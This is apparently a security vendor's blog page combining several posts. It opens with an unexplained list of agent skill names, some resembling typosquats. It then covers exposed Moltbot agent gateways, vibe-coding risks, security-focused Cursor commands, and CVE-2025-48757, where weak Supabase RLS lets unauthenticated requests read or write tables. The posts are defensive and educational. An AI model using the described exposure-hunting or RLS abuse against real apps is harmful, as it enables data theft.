auto-updater-lrssiatzxpx	deep-research-omvwp9ki		summarize-jd4g
auto-updater-nz2uvldrokd	deep-research-pjazdzyd		summarize-jqoq
auto-updater-pb70kpsnfof	deep-research-pqgwiuep		summarize-kx5u
auto-updater-qahxnvcnurj	deep-research-qvewifgk		summarize-nrqj
auto-updater-qg0anavwlmt	deep-research-rio7el6w		summarize-rjig
auto-updater-sgr		deep-research-v2h55k2w		summarize-syis
auto-updater-sgtm55aoazj	deep-research-vc3veoel		summarize-v8w3
auto-updater-uqmlhjh7pgz	ethereum			summarize-wy5c
auto-updater-vombw4ciwc0	gas-tracker		tron
bird-0p			gog-5w7zvby		tronlink
bird-2l			gog-ee3cg9w		wacli-1sk
bird-ag			gog-g7ksras		wacli-339
bird-ar			gog-iezecg1		wacli-5qi
bird-ch			gog-kcjgdv2		wacli-ayv
bird-co			gog-kfnluze		wacli-e7x
bird-fa			gog-kvlmtdd		wacli-eco
bird-h4			gog-shbjktj		wacli-era
bird-hg			gog-sywovxv		wacli-evv
bird-js			gog-vjlu0ls		wacli-hdg
bird-mh			gog-ybiur2h		wacli-hq4
bird-nc			insider-wallets-finder		wacli-ikx
bird-rl			leo-wallet			wacli-klt
bird-su			metamask			wacli-mch
bird-vu			nano-banana-pro-8ap3x7		wacli-muk
bird-wo			nano-banana-pro-c16jff		wacli-mwj
bird-xn			nano-banana-pro-e3c48l		wacli-pma
bird-yf			nano-banana-pro-eug1jw		wacli-w3y
bird-yt			nano-banana-pro-fxgpbf		wacli-xcb
bird-za			nano-banana-pro-glfq7a		wacli-ydw
clawdhub-0ds2em57jf		nano-banana-pro-gyyjbx		wallet-tracker
clawdhub-1qbvz9cvc3		nano-banana-pro-hu1vfx		youtube-watchar
clawdhub-2trnbtcgyo		nano-banana-pro-lldjo1		youtube-watcher-7
clawdhub-3ffldvumfb		nano-banana-pro-lrmva2		youtube-watcher-8
clawdhub-3jv6c6gijf		nano-banana-pro-mauf71		youtube-watcher-a
clawdhub-8rhr8q1zgy		nano-banana-pro-mzvmth		youtube-watcher-c
clawdhub-aecm6lh6uo		nano-banana-pro-ogmcrj		youtube-watcher-d
clawdhub-hklg5xzjbc		nano-banana-pro-oinrw3		youtube-watcher-g
clawdhub-i6qfm0cay3		nano-banana-pro-pcgniu		youtube-watcher-h
clawdhub-ilhnghd1c0		nano-banana-pro-pqcucx		youtube-watcher-j
clawdhub-itmu0eevs9		nano-banana-pro-ptnlkl		youtube-watcher-k
clawdhub-l91mzsalr7		nano-banana-pro-srlqfn		youtube-watcher-n
clawdhub-lhhr7b7jsj		nano-banana-pro-stl6ak		youtube-watcher-p
clawdhub-lyass2awyp		nano-banana-pro-wepcdp		youtube-watcher-u
clawdhub-xupj4k8euh		nano-banana-pro-xeqcnk		youtube-watcher-w
clawdhub-yskkhfqscj		nano-banana-pro-yywjf1		youtube-watcher-x
clawdhub-za29sitx9w		nano-pdf-9j7bj		youtube-watcher-z
clawdhub-zegimab3ze		nano-pdf-cr79t	yt-summarize
clawdhub-zh7v47hpwk		nano-pdf-eeadu	yt-thumbnail-grabber
coding-agent-4ilvlj7rs		nano-pdf-ey8zb	yt-video-downloader

User: @moonshine-100rze:

excel-1kl	moltbook-lm8	twitter-6ql

User: @zaycv

blrd		google-workspace	           polymarket-hyperliquid-trading
clawbhub		linkedin-job-application          polymarket-trading
clawhub		nanopdf		           summarlze
clawhub1		novafon			whatsapp
clawhud		polymarket-assistant		youtubewatcher

Leave a comment

Computer-Using Agents (CUA) are part of a rapidly growing class of software: agent gateways that allow LLMs to interact with local machines and real tools (messaging, email, calendars, browsers, shells), often running persistently and with meaningful autonomy.

That combination is powerful.
It also fundamentally changes the security equation.

Moltbot (formerly known as Clawdbot) is one recent example of this class of tooling that has gained significant traction in a short period of time. As you can see in the below image 👇 in ~2 months it reached over 60K GitHub stars, which is abnormal even compared to projects like Langchain (over a year) or OpenHands (almost 2 years).

We spent time examining the real-world deployment surface of Moltbot instances exposed on the public internet, not to single out the project, but to understand what happens when high-autonomy infrastructure is deployed the same way hobby projects often are: quickly, publicly, and without careful hardening.

What we found were familiar patterns, but with a much larger blast radius.

What Moltbot is (and how it works)

At a high level, Moltbot is an open-source personal AI assistant developed by Peter Steinberger, designed to operate across the communication channels people already use (e.g., WhatsApp, Telegram, Slack, Signal) and to run continuously.

From a security perspective, its architecture matters more than its feature set. The key components are:

• Gateway
  An always-on process that acts as the control and execution plane, handling message routing, tool invocation, and integration plumbing. It is designed to run persistently until stopped.

• Control UI / Web surface
  The Gateway serves a browser-based control interface on the same port as its WebSocket interface (with configurable paths and prefixes). This is where integrations, credentials, and operational state are managed.

• Tools and integrations
  Depending on configuration, the agent can invoke local or system tools and connect to external services using OAuth tokens and API keys.

WhatsApp / Telegram / Slack / Discord / Google Chat / Signal / iMessage / BlueBubbles / Microsoft Teams / Matrix / Zalo / Zalo Personal / WebChat
               │
               ▼
┌───────────────────────────────┐
│            Gateway            │
│       (control plane)         │
│     ws://127.0.0.1:18789      │
└──────────────┬────────────────┘
               │
               ├─ Pi agent (RPC)
               ├─ CLI (clawdbot …)
               ├─ WebChat UI
               ├─ macOS app
               └─ iOS / Android nodes

Together, the Gateway and Control UI form a privileged control plane for an autonomous system. If this plane is exposed and misconfigured, an attacker doesn’t just gain visibility-they can potentially inherit capability.

What we observed in the wild

Using common internet asset discovery tools (such as Shodan and Censys), we identified hundreds of publicly accessible Clawdbot (now Moltbot) Gateway/Control instances.

An important clarification up front:

The majority of these publicly accessible instances appeared to have authentication configured.
This is encouraging-but it does not eliminate risk.

Even authenticated, publicly reachable agent gateways remain high-value targets: they are long-lived services, connected to multiple tools, and often positioned near credentials, automation logic, and operational history.

More concerning, however, was that we also found instances that did not require authentication at all, or exposed sensitive artifacts through other means. With minimal exploration, we observed deployments exposing:

• Misconfigured control UIs allowing secret discovery, payload execution, and modification of the Moltbot configuration.

• Active integrations with services such as Slack, Gmail, Google calendar, social media accounts and other connected tools, exposing user PII.

• Directory listings exposed over HTTP, including operational logs and agent artifacts.

• In some cases, configuration details containing sensitive information (for example, database connection details).

  

This isn’t a Moltbot problem

It’s important to be clear about the framing.

This is not something specific to Moltbot. It’s a broader pattern that emerges whenever high-autonomy software is deployed without careful hardening. Moltbot is simply a concrete example of a larger shift we’re seeing across the industry.

For an agent to be useful, it often must:

• Read messages,

• Store credentials

• Act on a user’s behalf

• Execute tools

• Retain context over time.

These are functional requirements, but they come with security consequences.

What is the risk?

When you expose a system like this, you’re not just exposing “an app.” You’re exposing a system that may have:

• Full shell access to the host (depending on enabled tools)

• Browser control in contexts that may include logged-in sessions

• File system read/write access

• Access to email, calendars, and messaging platforms via stored tokens

• Persistent state and memory across sessions

• The ability to act proactively (sending messages, triggering workflows)

That’s an enormous concentration of capability.

The risk, therefore, isn’t just data leakage.
It’s delegated authority: if someone gains control, they may be able to act as you, using the integrations and trust relationships you’ve already established.

Common Risky Patterns

Most of the risky deployments we observed did not stem from sophisticated attacks. They stem from normal people doing normal things-without following basic security practices.

1) The reverse-proxy trap

A common pattern is deploying a service behind Nginx, Caddy, or Traefik and assuming it’s safe “because it’s behind a proxy.” In reality, proxying can change how applications perceive client identity, locality, and trust boundaries. Without explicit configuration, this can turn local-only assumptions into public exposure.

2) “It’s just a test box” becomes permanent

Agent gateways tend to persist. Once connected to workflows, they stay running. Logs accumulate. Integrations multiply. What began as a demo quietly becomes long-lived infrastructure.

3) Capability creep increases the blast radius

Each additional integration expands the potential impact of compromise. Over time, an agent gateway can quietly become a credential hub, automation runner, and communications layer-without anyone explicitly deciding it has become critical infrastructure.

What this means for builders and defenders

If you operate (or build) agent gateways, you should treat them as:

• A secrets store (they hold tokens and keys)

• A privileged automation runner

• A communications system

• A long-lived identity

Operationally, this shifts focus toward:

• Exposure windows and detection speed

• Credential scope and revocation

• Auditability

• Containment and blast-radius reduction

What should you do as a defender/builder?

First of all, Moltbot’s documentation already provides security hardening guidance and includes mechanisms operators should take advantage of:

• Security guidance and auditing
  Moltbot provides documentation and CLI commands (such as moltbot security audit) to help assess configuration and exposure posture. These checks are worth running periodically, especially after deployment changes.

• Sandboxing to reduce blast radius
  Tool execution can be sandboxed (for example, using Docker). While not a perfect boundary, this materially reduces filesystem and process exposure when something goes wrong. Sandbox scope (agent, session, shared) also affects cross-session isolation and should be chosen deliberately.

These measures don’t eliminate risk-but they meaningfully reduce impact.

Practical hardening checklist

For Moltbot, or any similar CUA, the following baseline is advised to minimize risk:

• Do not expose control/admin surfaces to the public internet. Use private networking, VPNs, or strong access controls.

• Require authentication everywhere, and verify it remains enforced behind reverse proxies.

• Run the system in an isolated environment (VM, dedicated host, sandbox, or segmented network). Avoid running it on daily-use machines.

• Use test accounts before connecting real credentials.

• Treat logs, history, and configuration as sensitive data; lock down permissions and avoid directory listings.

• Run built-in security audits regularly and remediate findings.

• Reduce privileges and minimize tool execution scope as much as possible.

Rule of thumb:
If an agent can read your messages, send messages as you, access your files, and run tools, it deserves the same security posture as a production admin console and secrets manager-because functionally, that’s what it is.

If you don’t follow these best practices you can safely assume that someone on the internet WILL find your deployment within hours.

Final thoughts

This isn’t about inducing fear, and it isn’t about singling out Moltbot.

It’s about recognizing a broader shift: autonomous agents dramatically increase the blast radius of misconfiguration. Adoption is inevitable. The tools are useful. The economics are compelling.

The open question is whether we harden these systems like the privileged infrastructure they are, before the internet does what the internet always does.

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

Leave a comment

AI has quickly and quietly changed who can build.
With tools like Lovable, V0, n8n, Cursor, and Claude Code, anyone in the organization (from developers to marketing and sales) can now create full applications, workflows, and automations in minutes. The separation of development team from the rest of the company is dissolving fast.

According to lovable, 30% of fortune 1000 companies are using vibe coding platforms.

This movement, “vibe coding,” is transforming how organizations innovate. But it’s also introducing a massive, largely invisible security problem - one that most companies don’t yet know they have.

Three Flavors of AI-Assisted Development

To understand the risk, it helps to look at the spectrum of how AI is used to build software:

1. AI in the IDE [Integrated Development Environment] (Cursor + GPT5 / Claude Code) - Professional developers use AI copilots directly in their IDEs to refactor, troubleshoot, and write code.
   These tools accelerate productivity but still work within controlled repositories and system development lifecycle (SDLC) review processes that include security checks.
   

2. Embedded AI Development (Claude Code, GitHub Copilot) - Here, AI assists inline: generating code snippets, logic, or bug fixes while the developer maintains human-in-the-loop oversight.
   The process follows the SDLC, and code is still visible to traditional application security (AppSec) tooling - though not always fully explainable or auditable.
   

3. No-Code, prompt-based, AI Builders (Lovable, Bolt, V0) - Business users describe what they want - “Build me an internal dashboard connected to Salesforce” - and the system automatically scaffolds, configures, and deploys a working app.
   There’s no SDLC, no code review, and often no access or knowledge by the IT or security teams.
   

Across this spectrum, the tradeoff is clear: the more abstract and accessible development becomes, the less transparency and control of the platform, organizations retain. And therefore, it introduces an unknown and unmeasured risk to the organization.

Subscribe now

The Blind Spot: When Innovation Outruns Security

Fundamental security models start with asset management: we can’t secure what we don’t see - servers, data repositories, network pipelines, and application programming interfaces (APIs) that let applications talk to each other are cataloged and under IT control. AI code builders changed that by creating applications outside and opaque to the organization..

Today, a marketing manager can spin up an app in Lovable, connect it to a production database on Supabase, expose it through a public endpoint, and share it with customers - all without a single provisioning ticket to IT or security.

While this can speed up development, and democratize application creation to accelerate innovation, it is bringing an entire shadow layer of infrastructure, attack surface, identity access, and data exposure..

Let’s break down what’s really happening behind the scenes:

• Third-party infrastructure: Tools like Lovable or V0 automatically deploy apps on external clouds or shared multi-tenant environments, often storing organizational data outside known asset inventories, and outside the scope of IT controls.
  

• Unmanaged access and credentials: Users authenticate with personal accounts or share API keys, bypassing internal identity services and audit trails. Service-to-service communication often uses long-lived, hard coded secrets instead of managed identities.
  

• Unmonitored integrations and sensitive data exposure: Citizen-built apps frequently connect to core systems , Salesforce, Slack, internal APIs , without any request tracking permission boundaries, or logging. Even when data such as PII is collected only within the system, it can still introduce significant privacy and compliance risks if not properly governed.
  

• Internet exposure: These apps are instantly live, discoverable, and sometimes indexed, creating open attack surfaces without security testing.
  

• No version control or security scanning: There are no quality assurance (QA) checks; and generated or configured software logic never passes through SDLC security gates such as; Static Application Security testing (SAST), Software Composition Analysis [code review] (SCA), Automated SCA, (ASCA), or Infrastructure as Code (IaC) checks, leaving vulnerabilities and misconfigurations undetected–in Production Applications.

This combination makes AI-built apps the perfect storm of innovation and risk - fast-moving, hard to detect, and integrated deep into business operations. And because traditional tools were never designed to see into these environments, security teams are unaware of their existence and flying completely blind.

Security Teams Don’t want to be Ones Blocking Innovation

When security leaders can’t see what’s being built, their default response is to block.
It’s not because they want to slow the business down - it’s because they can’t quantify the risk and protect what they can’t observe. We’ve seen this tension before: cloud adoption, open-source, and even DevOps all went through similar phases. But this time, the speed and democratization of AI-driven development make the challenge exponentially harder. Blocking AI tools outright doesn’t work. Developers and business users will just find workarounds. The real goal is to enable safe innovation - giving teams freedom to build while maintaining basic visibility, control, and data protection.

AI builders are a positive shift. They unlock creativity, speed, and empowerment across the business. But right now, that innovation runs without shared visibility or security standards. There’s no way to measure or enforce basic hygiene - what data is used, who has access, or how apps connect. You can put policies in place (asset registries, deployment gates, data restrictions, allowlists) and they help, but only up to a point. The citizen developers don’t intentionally want to bring risk to the organization, but they don’t know the SDLC, what the application security risks and standards are, or know what to ask.

Enabling Innovation, Safely

The goal isn’t to slow this movement down - it’s to educate, gain visibility, and enable it safely. Organizations need a way to apply security metrics and enforcement to this new layer of creation, just like we already do for code, cloud, and data.

At a high level, those guardrails should act as an invisible scaffolding and framework around innovation: automatically identifying new apps and workflows as they’re created, classifying what data and systems they touch, verifying access and permissions, and enforcing lightweight policies in real time. It’s about making security convenient, continuous, and contextual - built into the creative process, not bolted on afterward.

That shift is already starting. Security and innovation no longer have to compete — they can finally move at the same speed. Even simple policies like “you can create internal tools or workflows in Lovable or Bolt, but they can only access non-sensitive or tier-low systems until the app goes through the security SDLC and approval” go a long way in balancing empowerment and safety.

There is a common saying in security that Formula 1 cars can go so fast because they have good breaks. But just having a policy for vibe coding doesn’t make it magically happen. We need a way to automatically identify new creation, and route vibe coding projects into the right processes, while allowing everyone to use it frictionlessly; but behind the scenes IT and security are able to review the app / workflow and supporting infrastructure and remediate risks.

This new security flow requires the use of current and new platforms. We will discuss and illustrate the details of how this would be applied in the next paper.

Security for the New Era of Digital Creation

AI builders have introduced a new reality inside organizations - one where applications, workflows, and integrations are created dynamically by anyone, often outside IT and security oversight. Each of these creations lives on its own infrastructure, connected to corporate systems, storing data, and operating with real permissions.

This isn’t a problem of code quality or vulnerability management - it’s a problem of visibility, trust, and governance across a completely new layer of creation. Security teams now need to understand who is building what, where it runs, what data it touches, and how it connects back into the organization.

But visibility alone isn’t enough. To effectively secure this new layer, security teams must also establish new communication channels with these emerging builders - channels built on trust, guidance, and collaboration rather than control. Only by doing so can they align innovation with protection and ensure that security becomes an enabler, not an obstacle.

The goal isn’t to control or block innovation, it’s to give organizations a way to observe, guide, and protect this new form of digital development without slowing it down. Those who will adopt this security first will not only prevent risk - they’ll be the ones who can safely move at the speed of AI.

AI coding assistants are transforming how developers work - and how organizations must think about security, compliance, and governance.

By now, most developers are familiar with Cursor Rules - a simple yet powerful way to define safe defaults for AI behavior inside the IDE.

But Cursor Commands, a newer capability, are still unfamiliar to many teams. They take things much further - turning your AI from a passive assistant into an active, policy-driven teammate.

Claude offers a similar capability called Claude Skills, which enable structured workflows that run transparently inside the LLM - rather than as direct /commands in an IDE. In this post, we’ll focus on Cursor, which brings that concept into the developer environment through explicit, runnable commands.

In this post, I’ll share how we built a list of practical security commands for Cursor (available here on GitHub), and how you can adapt them to your own stack.

Understanding cursor rules

Cursor rules has become quite popular - and for good reason. It lets teams define a system prompt that gives the AI clear, persistent guardrails and safe defaults inside the IDE.

Beyond enabling teams to tailor security rules to their own preferences and workflows, the real power lies in the community’s ability to establish shared standards. Great open examples - like matank001/cursor-security-rules - show how teams can contribute reusable templates that not only restrict sensitive actions but also encourage consistent, secure development practices across the ecosystem.

For example:

## 8. Avoid Hardcoded Secrets
  Do not hardcode passwords, tokens, or secret keys in source code. 
  Use environment variables or a secure configuration service.

In essence, cursor rules defines the AI’s secure baseline - ensuring it operates within defined boundaries and follows good engineering practices.
It can define both what the AI should and should not do, acting as a persistent policy layer that always applies in the background.

However, cursor rules is a static configuration. It always applies globally - not contextually.
It doesn’t allow targeted actions on specific files, commits, or functions with deep context.

That’s where Cursor Commands come in - enabling context-aware, on-demand workflows right inside your IDE.

Cursor Commands - From Static Rules to Smart Workflows

Cursor Commands live inside a .cursor/commands/ folder and let developers define reusable AI-powered workflows that can be triggered directly from the IDE using a slash command (/).

Each command is written in Markdown with a simple YAML header - like a script that tells the AI how to act in specific situations.

For example - Address Github PR Comments:

Process outstanding reviewer feedback, apply required fixes, and draft clear
responses for each GitHub pull-request comment.

## Steps
1. **Sync and audit comments**
    - Pull the latest branch changes
    - Open the PR conversation view and read every unresolved comment
2. **Plan resolutions**
    - List the requested code edits for each thread
    - Identify clarifications or additional context you must provide
3. **Implement fixes**
    - Apply targeted updates addressing one comment thread at a time
    - Run relevant tests or linters after impactful changes
4. **Draft responses**
    - Summarize the action taken or reasoning provided for each comment
    - Link to commits or lines when clarification helps reviewers verify

When a developer types a workflow command such as /address-pr-comments, Cursor automatically executes the corresponding workflow using real-time project context - like open files, Git diffs, and conversation threads.
Each command can run external tools, fetch live data, and apply context-aware reasoning to streamline developer tasks directly from the IDE.

This turns AI from a conversational helper into a repeatable, version-controlled automation engine for engineering tasks.

There are already great developer examples available publicly, such as:
👉 hamzafer/cursor-commands - a collection of reusable commands for reviews, refactoring, testing, and productivity.
👉 ComposioHQ/awesome-claude-skills - similar for Claude, showing structured Skills that can run automatically within the model’s reasoning flow.

Using Cursor Commands for Security and Compliance

At Pluto Security, we’ve been researching how this feature can go far beyond productivity - into secure development and compliance automation.

We treat .cursor/commands as a policy execution layer: a way to define repeatable, reviewable, and context-aware actions that developers can trigger at any time.

We designed commands for repeatable security tasks that developers can run directly in their workflow - each command can fetch live data from trusted internet sources (official docs, advisories, best-practice repositories) to stay always up-to-date.

The best part? You can plug in your own stack:

• Compliance SaaS platforms (SOC 2, ISO 27001, HIPAA, CAIQ Lite)

• Internal security documentation or wikis

• CLI Tools (Snyk / Trivy / AWS..)

• Scripts

Each command execution can automatically pull the most recent guidance (to ensure alignment with the latest policies, standards, and compliance frameworks) run your own custom CLI commands and execute pre-made python scripts in the right context.

This means developers use simple, reusable commands created by security teams - but those commands evolve in real time, keeping code and compliance aligned.

Examples

• /fix-exploitable-vulns - Scans your codebase with Trivy (CLI), downloads the live CISA Known Exploited Vulnerabilities (KEV) catalog (Web Surf), matches discovered CVEs against actively exploited vulnerabilities, and attempts to create a fix based on remediation steps online

• /validate-compliance - Fetches your company’s live compliance controls -SOC 2, ISO 27001, HIPAA, GDPR, etc. (Web Surf) from your compliance management API or configuration store, compares them against the current code context or repo configuration using automated scanning tools, and then fixes or flags misalignments, ensuring your code continuously meets policy requirements.

  

Bridging Policy and Practice

This model lets security teams expose security workflows as developer-friendly commands - consistent, current, and organization-aware - enabling developers to resolve issues during the development process. Developers gain frictionless security automation. Security teams gain continuous assurance.

It’s the bridge between policy and practice - security that moves at the speed of code. Our library of commands and integrations keeps growing - and we welcome your ideas to keep growing it.

Connecting your own stack

You connect your own stack by editing the command prompts (Python scripts, CLI, Links).

For example for other CLI:

Run a scan on S3 with AWS controls

# change it to reference your aws stack: 

aws s3api get-bucket-policy-status --bucket data-bucket

For links resourced (For compliance for example), just embed the framework source in the prompt:

Scan against the SOC2 framework defined at 
https://api.compliance-saas.io/frameworks/soc2orScan 

using my local framework at ./frameworks/custom-soc2.json.

One Repository, Two Layers of Control

To keep everything organized and transparent, both layers live in the same repository :

📦 repo/
 └── .cursor/
     ├── rules/                # Guardrails & boundaries
     └── commands/             # Secure workflows & policy logic

• .cursor/rules Define baseline policies allowing to create Guardrails & boundaries

• .cursor/commands Execute secure workflows for Automation & accountability

To use this project, add it to the root directory of every project so its configurations take effect or add it to the local ~/.cursor/commands to apply to all. Review and update it periodically to ensure it stays aligned with the latest standards.

Secure Commands GitHub

Based on our research, We’ve built the first public GitHub with secure DevOps commands - covering threat modeling, vulnerability fixing, configuration hardening and much more.

https://github.com/plutosecurity/cursor-secure-commands

To keep using generic developer commands, we recommend splitting the commands into dev, security folders.

We’re continuously expanding it with real-world examples, If you have more security or compliance use cases - let us know!

Final notes

• Cursor rules are a solid foundation - but they’re just the start.

• Real security and compliance in AI development don’t come from static guardrails; they come from codified, enforceable behavior.

• If you’re bringing AI-powered tools into your SDLC, treat them as part of your security perimeter - because they are.

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

Additional context & references

• Cursor Documentation on Commands

• Cursor Security Rules

• Claude Documentation on Skills

• Egghead.io: Speed Up Your Agents with Cursor Slash Commands

• Awesome Claude Skills Repo

• Hamzafer’s Cursor Commands Repo

TL;DR

CVE-2025–48757 is an insufficient/incorrect authorization issue stemming from missing or weak Row-Level Security (RLS) policies in databases provisioned by the Lovable AI builder. In many cases, Lovable-generated projects left databases exposed so that unauthenticated remote requests could read from or write to arbitrary tables. The root cause is a platform-level failure: defaulting to insecure configurations and failing to validate RLS semantics, not a flaw or zero-day in Postgres itself. While the vulnerability is not new, variants of it continue to be observed today - insecure RLS configurations remain a recurring problem in AI-driven builder platforms. These exposures have high impact on enterprises, where a single misconfigured project can lead to broad unauthorized access, data leakage, and compliance violations across critical environments.

1) Quick background: Lovable

Lovable is an AI-driven “vibe-coding” builder that generates full-stack projects (frontend + backend + DB) from natural language prompts. It provisions hosting and databases for generated sites and aims to minimize developer friction. That convenience is why many apps are created with it.

2) Quick background: Supabase

Supabase is a hosted Postgres + realtime + auth stack that many low-code/no-code builders adopt as the database backend. Supabase exposes a REST/GraphQL API and includes Postgres Row-Level Security (RLS) as a primary mechanism for enforcing per-user data access at the DB layer. Supabase docs explicitly recommend enabling and writing RLS policies so client-side code (browsers, public API keys) cannot read or write data they shouldn’t.

3) How Lovable and Supabase typically interact

A typical flow:

• Lovable provisions a Postgres database (Supabase) for the generated app.

• The generated frontend uses a client key (sometimes a public anon key) to call Supabase APIs directly from the browser/mobile client.

• Authorization/identity is intended to be enforced by combining Supabase Auth (or JWTs) and RLS policies inside Postgres.

If RLS is missing, insufficient, or incorrectly configured, a public API key + crafted queries/requests can often enumerate or mutate rows across tables. CVE-2025–48757 is an instance where platform defaults or checks allowed unsafe combinations to reach production.

4) Row-Level Security (RLS) - what it is and how to configure it

What RLS does - RLS is a Postgres primitive that evaluates a boolean expression for each row and each operation (SELECT/INSERT/UPDATE/DELETE). If the expression evaluates to true, the operation is allowed on that row; otherwise it’s blocked. Combined with per-user identity (JWT claims), it enforces per-row access rules at the database level. Supabase exposes and encourages RLS for authorization. When configured currently - this allows very strong authorization for an app.

A basic example in Supabase -  profiles table where each row has user_id:

-- enable RLS for the table
ALTER TABLE public.profiles ENABLE ROW LEVEL SECURITY;

-- policy: allow a logged-in user to SELECT their own profile
CREATE POLICY “profiles_select_own”
  ON public.profiles
  FOR SELECT
  USING (user_id = auth.uid());

-- policy: allow a logged-in user to UPDATE their own profile
CREATE POLICY “profiles_update_own”
  ON public.profiles
  FOR UPDATE
  USING (user_id = auth.uid())
  WITH CHECK (user_id = auth.uid());

Notes:

• auth.uid() is the Supabase helper that maps the current JWT’s sub to a Postgres value at runtime.

• USING controls which rows are visible for reads; WITH CHECK validates row contents on write.

• For functions, triggers, or server-side jobs you may need SET LOCAL role tricks or secure function patterns to bypass RLS when legitimately required. See Supabase docs for advanced patterns.

Common RLS pitfalls to avoid

• Relying only on client code -never trust that the front end will enforce authorization.

• Using permissive policies like USING (true) for convenience.

• Leaving public/anonymous API keys able to read sensitive tables because no RLS policy exists.

• Thinking “RLS exists so we’re safe” - but policies need to be correct; a policy that compares to a wrong claim or a global flag can be bypassed.

5) What CVE-2025-48757 really is

Lovable-generated projects sometimes ended up with insufficient or incorrectly scoped RLS policies on their Supabase Postgres instances. That meant requests crafted against Lovable-provisioned endpoints could read or write tables without per-row authorization checks. The vulnerability is an incorrect authorization / insufficient RLS condition - not a Postgres engine bug.

Attack path

1. Lovable provisions a Supabase DB and exposes an application endpoint that uses a public anon key (or insufficiently scoped key).

2. The generated frontend assumes RLS or relies on a “has RLS been enabled” flag, but the actual policies are missing, too permissive, or incorrectly express identity checks.

3. An unauthenticated remote attacker crafts API calls (or manipulates the REST paths the generated site uses) to enumerate or mutate rows in arbitrary tables because the DB enforced no per-row restrictions.

4. Sensitive columns (PII, tokens, secrets, internal flags) are exfiltrated or altered. In some reported incidents, attackers used sites created on Lovable to host phishing or malware content - the lack of DB enforcement makes it trivial to escalate and pivot.

This was indeed observed at scale in the wild, exposing hundred of apps data. Lovable and some vendors argue that customers still hold responsibility for configuring RLS correctly for their apps.

6) Why CVE-2025–48757 Still Matters Today

Although Lovable and other builder platforms have improved their default configurations since the original disclosure, CVE-2025–48757 remains highly relevant today. Pluto’s real-world scans consistently show that the most common vulnerability across AI-generated builder projects is incorrect or incomplete Row-Level Security (RLS) configuration. Even when RLS is enabled by default, developers frequently misapply or override policies, unintentionally leaving tables exposed. As a result, many live sites still operate with overly permissive database permissions, allowing unauthorized reads or writes across user data. With the rapid expansion of AI-built apps and prototypes, these misconfigurations scale quickly - creating widespread exposure across hundreds of interconnected websites and services.

7) Detection & remediation steps

1. Inventory -Find your vibe-coded apps, look for DNS requests for supabase to see what users configured one. The code will hold the supabase.co domain, Any app using Supabase should be reviewed.

2. Scan and fix - Run Lovable Security Advisor, It integrates with Supabase RLS Advisor to detect missing RLS policies. Don’t trust it blindly - review each suggested policy; it often makes mistakes or uses over-permissive rules.

1. Manually verify RLS in Supabase - In Supabase SQL editor, check for tables without RLS:

SELECT schemaname, tablename
FROM pg_tables
WHERE schemaname = ‘public’
AND tablename NOT IN (
  SELECT tablename FROM pg_policies WHERE schemaname=’public’
);

• Enable RLS and apply strict policies if missing:

ALTER TABLE public.profiles ENABLE ROW LEVEL SECURITY;
CREATE POLICY “profiles_select_own”
  ON public.profiles FOR SELECT
  USING (user_id = auth.uid());

• Confirm anon and public roles have no direct table access:

REVOKE ALL ON ALL TABLES IN SCHEMA public FROM anon, public;

Final notes

• RLS is powerful but brittle if used incorrectly - it must be tested, audited, and enforced as part of platform provisioning.

• If you operate or rely on any “AI builder” security, assume they can be unsafe. You own the responsibility for what you are building.

At Pluto - we are enabling usage of AI Builders securely in enterprises. Want to learn more? Lets talk!

Additional context & references

• Matt Palmer’s public statement and analysis

• CVE entry for CVE-2025–48757

• Supabase official docs on RLS